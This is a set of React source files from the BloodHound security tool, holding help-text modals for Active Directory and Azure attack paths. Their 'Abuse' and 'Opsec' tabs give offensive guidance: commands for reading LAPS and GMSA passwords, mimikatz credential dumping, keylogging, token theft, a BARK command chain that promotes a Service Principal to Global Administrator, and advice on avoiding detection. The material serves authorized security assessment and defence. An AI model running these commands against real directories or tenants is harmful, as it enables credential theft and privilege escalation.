``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadLAPSPassword/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 353 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the ability to read
the password set by Local Administrator Password Solution (LAPS)
on the computer {targetName}.
</p>
<p>
The local administrator password for a computer managed by LAPS
is stored in the confidential LDAP attribute, "ms-mcs-AdmPwd".
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadLAPSPassword/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 163 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadLAPSPassword/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 85 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const LinuxAbuse = ({ sourceName, sourceType }) => {
return (
<>
<p>
Sufficient control on a computer object is abusable when
the computer's local admin account credential is
controlled with LAPS. The clear-text password for
the local administrator account is stored in an
extended attribute on the computer object called
ms-Mcs-AdmPwd.
</p>
<p>
<a href='path_to_url can be used
to retrieve LAPS passwords:
</p>
<pre>
<code>
{
'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
</code>
</pre>
</>
);
};
LinuxAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadLAPSPassword/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 210 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>Reading properties from LDAP is an extremely low risk operation.</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadLAPSPassword/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 42 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const ReadLAPSPassword = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
ReadLAPSPassword.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default ReadLAPSPassword;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadLAPSPassword/ReadLAPSPassword.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 317 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AdminTo = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AdminTo.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AdminTo;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AdminTo/AdminTo.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 245 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} admin rights to the
computer {targetName}.
</p>
<p>
By default, administrators have several ways to perform remote
code execution on Windows systems, including via RDP, WMI,
WinRM, the Service Control Manager, and remote DCOM execution.
</p>
<p>
Further, administrators have several options for impersonating
other users logged onto the system, including plaintext password
extraction, token impersonation, and injecting into processes
running as another user.
</p>
<p>
Finally, administrators can often disable host-based security
controls that would otherwise prevent the aforementioned
techniques.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AdminTo/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 239 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<h4>Lateral movement</h4>
<a href='path_to_url
path_to_url
</a>
<h4>Gathering Credentials</h4>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<h4>Token Impersonation</h4>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<h4>Disabling host-based security controls</h4>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<h4>Opsec Considerations</h4>
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AdminTo/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 312 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
There are several forensic artifacts generated by the techniques
described above. For instance, lateral movement via PsExec will
generate 4697 events on the target system. If the target
organization is collecting and analyzing those events, they may
very easily detect lateral movement via PsExec.
</p>
<p>
Additionally, an EDR product may detect your attempt to inject
into lsass and alert a SOC analyst. There are many more opsec
considerations to keep in mind when abusing administrator
privileges. For more information, see the References tab.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AdminTo/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 160 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<h4>Lateral movement</h4>
<p>
There are several ways to pivot to a Windows system. If using
Cobalt Strike's beacon, check the help info for the commands
"psexec", "psexec_psh", "wmi", and "winrm". With Empire,
consider the modules for Invoke-PsExec, Invoke-DCOM, and
Invoke-SMBExec. With Metasploit, consider the modules
"exploit/windows/smb/psexec",
"exploit/windows/winrm/winrm_script_exec", and
"exploit/windows/local/ps_wmi_exec".
With Impacket, consider the example scripts
psexec/wmiexec/smbexec/atexec/dcomexec. There are other alternatives
like evil-winrm and crackmapexec. Additionally, there are
several manual methods for remotely executing code on the
machine, including via RDP, with the service control binary and
interaction with the remote machine's service control manager,
and remotely instantiating DCOM objects. For more information
about these lateral movement techniques, see the References tab.
</p>
<h4>Gathering credentials</h4>
<p>
The most well-known tool for gathering credentials from a
Windows system is mimikatz. mimikatz is built into several
agents and toolsets, including Cobalt Strike's beacon, Empire,
and Meterpreter. While running in a high integrity process with
SeDebugPrivilege, execute one or more of mimikatz's credential
gathering techniques (e.g.: sekurlsa::wdigest,
sekurlsa::logonpasswords, etc.), then parse or investigate the
output to find clear-text credentials for other users logged
onto the system.
</p>
<p>
You may also gather credentials when a user types them or copies
them to their clipboard! Several keylogging capabilities exist,
several agents and toolsets have them built-in. For instance,
you may use meterpreter's "keyscan_start" command to start
keylogging a user, then "keyscan_dump" to return the captured
keystrokes. Or, you may use PowerSploit's
Invoke-ClipboardMonitor to periodically gather the contents of
the user's clipboard.
</p>
<h4>Token Impersonation</h4>
<p>
You may run into a situation where a user is logged onto the
system, but you can't gather that user's credential. This may be
caused by a host-based security product, lsass protection, etc.
In those circumstances, you may abuse Windows' token model in
several ways. First, you may inject your agent into that user's
process, which will give you a process token as that user, which
you can then use to authenticate to other systems on the
network. Or, you may steal a process token from a remote process
and start a thread in your agent's process with that user's
token. For more information about token abuses, see the
References tab.
</p>
<h4>Disabling host-based security controls</h4>
<p>
Several host-based controls may affect your ability to execute
certain techniques, such as credential theft, process injection,
command line execution, and writing files to disk.
Administrators can often disable these host-based controls in
various ways, such as stopping or otherwise disabling a service,
unloading a driver, or making registry key changes. For more
information, see the References tab.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AdminTo/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 814 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the Directory.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGDirectory_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGDirectory_ReadWrite_All.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGDirectory_ReadWrite_All;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/AZMGDirectory_ReadWrite_All.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 234 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the Directory.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the Directory.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGDirectory_ReadWrite_All/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created during post-processing. It is created against
AzureAD tenant objects when a Service Principal has one of the following
MS Graph app role assignments:
</p>
<p>
<ul>
<li>AppRoleAssignment.ReadWrite.All</li>
<li>RoleManagement.ReadWrite.Directory</li>
</ul>
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantAppRoles/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 112 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGGrantAppRoles = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGGrantAppRoles.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGGrantAppRoles;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantAppRoles/AZMGGrantAppRoles.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 231 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
When you assign an app role to a Service Principal, the Azure
Audit logs will create an event called "Add app role assignment
to service principal". This event describes who made the change,
what the target service principal was, and what app role assignment
was granted.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 98 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
With the ability to grant arbitrary app roles, you can grant
the RoleManagement.ReadWrite.Directory app role to a Service
Principal you already control, and then promote it or another
principal to Global Administrator.
</p>
<p>
These functions require you to supply an MS Graph-scoped JWT
associated with the Service Principal that has the privilege
to grant app roles. There are several ways to
acquire a JWT. For example, you may use BARKs
Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
by supplying a Service Principal Client ID and secret:
</p>
<pre>
<code>
{
'$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
' -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
' -ClientSecret "asdf..." `\n' +
' -TenantName "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Use BARK's Get-AllAzureADServicePrincipals to collect all
Service Principal objects in the tenant:
</p>
<pre>
<code>
{
'$SPs = Get-AllAzureADServicePrincipals `\n' +
' -Token $MGToken'
}
</code>
</pre>
<p>
Next, find the MS Graph Service Principal's ID. You can do this by
piping $SPs to Where-Object, finding objects where the appId value
matches the universal ID for the MS Graph Service Principal, which is
00000003-0000-0000-c000-000000000000:
</p>
<pre>
<code>
{
'$SPs | ?{$_.appId -Like "00000003-0000-0000-c000-000000000000"} | Select id'
}
</code>
</pre>
<p>
The output will be the object ID of the MS Graph Service Principal.
Take that ID and use it as the "ResourceID" argument for BARK's
New-AppRoleAssignment function. The AppRoleID of '9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8'
is the universal ID for RoleManagement.ReadWrite.Directory. The
SPObjectId is the object ID of the Service Principal you want to grant
this app role to:
</p>
<pre>
<code>
{
'New-AppRoleAssignment `\n' +
' -SPObjectId "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `\n' +
' -AppRoleID "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" `\n' +
' -ResourceID "9858020a-4c00-4399-9ae4-e7897a8333fa" `\n' +
' -Token $MGToken'
}
</code>
</pre>
<p>
If successful, the output of this command will show you the App Role
assignment ID. Now that your Service Principal has the RoleManagement.ReadWrite.Directory
MS Graph app role, you can promote the Service Principal to Global Administrator
using BARK's New-AzureADRoleAssignment.
</p>
<pre>
<code>
{
'New-AzureADRoleAssignment `\n' +
' -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `\n' +
' -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `\n' +
' -Token $MGToken'
}
</code>
</pre>
<p>
If successful, the output will include the principal ID, the role ID, and a
unique ID for the role assignment.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantAppRoles/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 960 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{targetName} is a Group Managed Service Account. The{' '}
{typeFormat(sourceType)} {sourceName} can retrieve the password
for the GMSA {targetName}.
</p>
<p>
Group Managed Service Accounts are a special type of Active
Directory object, where the password for that object is
mananaged by and automatically changed by Domain Controllers on
a set interval (check the MSDS-ManagedPasswordInterval
attribute).
</p>
<p>
The intended use of a GMSA is to allow certain computer accounts
to retrieve the password for the GMSA, then run local services
as the GMSA. An attacker with control of an authorized principal
may abuse that privilege to impersonate the GMSA.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadGMSAPassword/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 258 |
```jsx
import React from "react";
const WindowsAbuse = () => {
return (
<>
<p>
There are several ways to abuse the ability to read the GMSA
password. The most straight forward abuse is possible when the
GMSA is currently logged on to a computer, which is the intended
behavior for a GMSA. If the GMSA is logged on to the computer
account which is granted the ability to retrieve the GMSA's
password, simply steal the token from the process running as the
GMSA, or inject into that process.
</p>
<p>
If the GMSA is not logged onto the computer, you may create a
scheduled task or service set to run as the GMSA. The computer
account will start the sheduled task or service as the GMSA, and
then you may abuse the GMSA logon in the same fashion you would
a standard user running processes on the machine (see the
"HasSession" help modal for more details).
</p>
<p>
Finally, it is possible to remotely retrieve the password for
the GMSA and convert that password to its equivalent NT hash,
then perform overpass-the-hash to retrieve a Kerberos ticket for
the GMSA:
</p>
<ol>
<li>
Build GMSAPasswordReader.exe from its source:
path_to_url
</li>
<li>
Drop GMSAPasswordReader.exe to disk. If using Cobalt Strike,
load and run this binary using execute-assembly
</li>
<li>
Use GMSAPasswordReader.exe to retrieve the NT hash for the
GMSA. You may have more than one NT hash come back, one for
the "old" password and one for the "current" password. It is
possible that either value is valid:
</li>
</ol>
<pre>
<code>
{'gmsapasswordreader.exe --accountname gmsa-jkohler'}
</code>
</pre>
<p>
At this point you are ready to use the NT hash the same way you
would with a regular user account. You can perform
pass-the-hash, overpass-the-hash, or any other technique that
takes an NT hash as an input.
</p>
</>
);
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadGMSAPassword/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 540 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const ReadGMSAPassword = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
ReadGMSAPassword.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default ReadGMSAPassword;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadGMSAPassword/ReadGMSAPassword.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 293 |
```jsx
import React from "react";
const LinuxAbuse = () => {
return (
<>
<p>
There are several ways to abuse the ability to read the GMSA
password. The most straight forward abuse is possible when the
GMSA is currently logged on to a computer, which is the intended
behavior for a GMSA. If the GMSA is logged on to the computer
account which is granted the ability to retrieve the GMSA's
password, simply steal the token from the process running as the
GMSA, or inject into that process.
</p>
<p>
If the GMSA is not logged onto the computer, you may create a
scheduled task or service set to run as the GMSA. The computer
account will start the sheduled task or service as the GMSA, and
then you may abuse the GMSA logon in the same fashion you would
a standard user running processes on the machine (see the
"HasSession" help modal for more details).
</p>
<p>
Finally, it is possible to remotely retrieve the password for
the GMSA and convert that password to its equivalent NT hash.
<a href="path_to_url">gMSADumper.py</a> can be used for that purpose.
</p>
<pre>
<code>
{
"gMSADumper.py -u 'user' -p 'password' -d 'domain.local'"
}
</code>
</pre>
<p>
At this point you are ready to use the NT hash the same way you
would with a regular user account. You can perform
pass-the-hash, overpass-the-hash, or any other technique that
takes an NT hash as an input.
</p>
</>
);
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadGMSAPassword/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 413 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
When abusing a GMSA that is already logged onto a system, you
will have the same opsec considerations as when abusing a
standard user logon. For more information about that, see the
"HasSession" modal's opsec considerations tab.
</p>
<p>
When retrieving the GMSA password from Active Directory, you may
generate a 4662 event on the Domain Controller; however, that
event will likely perfectly resemble a legitimate event if you
request the password from the same context as a computer account
that is already authorized to read the GMSA password.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ReadGMSAPassword/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 171 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Virtual Machine contributor role grants almost all abusable
privileges against Virtual Machines.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 49 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
The Virtual Machine Contributor role allows you to run SYSTEM
commands on the VM
</p>
<p>Via PowerZure:</p>
<a href='path_to_url
<br />
<a href='path_to_url
<br />
<a href='path_to_url#invoke-azurerunprogram'>
Invoke-AzureRunProgram
</a>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 117 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZVMContributor = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZVMContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZVMContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMContributor/AZVMContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 235 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
Because you'll be running a command as the SYSTEM user on the
Virtual Machine, the same opsec considerations for running malicious
commands on any system should be taken into account: command line
logging, PowerShell script block logging, EDR, etc.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMContributor/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 88 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGAddOwner = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGAddOwner.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGAddOwner;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddOwner/AZMGAddOwner.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 228 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created during post-processing. It is created against
all App Registrations and Service Principals within the same tenant
when a Service Principal has the following MS Graph app role:
</p>
<p>
<ul>
<li>Application.ReadWrite.All</li>
</ul>
</p>
<p>
It is also created against all Azure Service Principals when a
Service Principal has the following MS Graph app role:
</p>
<p>
<ul>
<li>ServicePrincipalEndpoint.ReadWrite.All</li>
</ul>
</p>
<p>
It is also created against all Azure security groups that are not
role eligible when a Service Principal has one of the following MS
Graph app roles:
</p>
<p>
<ul>
<li>Directory.ReadWrite.All</li>
<li>Group.ReadWrite.All</li>
</ul>
</p>
<p>
Finally, it is created against all Azure security groups and all
Azure App Registrations when a Service Principal has the following
MS Graph app role:
</p>
<p>
<ul>
<li>RoleManagement.ReadWrite.Directory</li>
</ul>
</p>
<p>
You will not see these privileges when auditing permissions against
any of the mentioned objects when you use Microsoft tooling, including
the Azure portal and the MS Graph API itself.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddOwner/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 362 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You can use BARK to add a new owner to the target object. The
BARK function you use will depend on the target object type,
but all of the functions follow a similar syntax.
</p>
<p>
These functions require you to supply an MS Graph-scoped JWT
associated with the Service Principal that has the privilege
to add a new owner to the target object. There are several ways to
acquire a JWT. For example, you may use BARKs
Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
by supplying a Service Principal Client ID and secret:
</p>
<pre>
<code>
{
'$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
' -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
' -ClientSecret "asdf..." `\n' +
' -TenantName "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
To add a new owner to a Service Principal, use BARK's
New-ServicePrincipalOwner function:
</p>
<pre>
<code>
{
'New-ServicePrincipalOwner `\n' +
' -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" `\n' +
' -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
' -Token $Token'
}
</code>
</pre>
<p>
To add a new owner to an App Registration, use BARK's New-AppOwner function:
</p>
<pre>
<code>
{
'New-AppOwner `\n' +
' -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" `\n' +
' -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
' -Token $Token'
}
</code>
</pre>
<p>
To add a new owner to a Group, use BARK's New-GroupOwner function:
</p>
<pre>
<code>
{
'New-AppOwner `\n' +
' -GroupObjectId "352032bf-161d-4788-b77c-b6f935339770" `\n' +
' -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
' -Token $Token'
}
</code>
</pre>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddOwner/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 684 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { typeFormat } from '../Formatter';
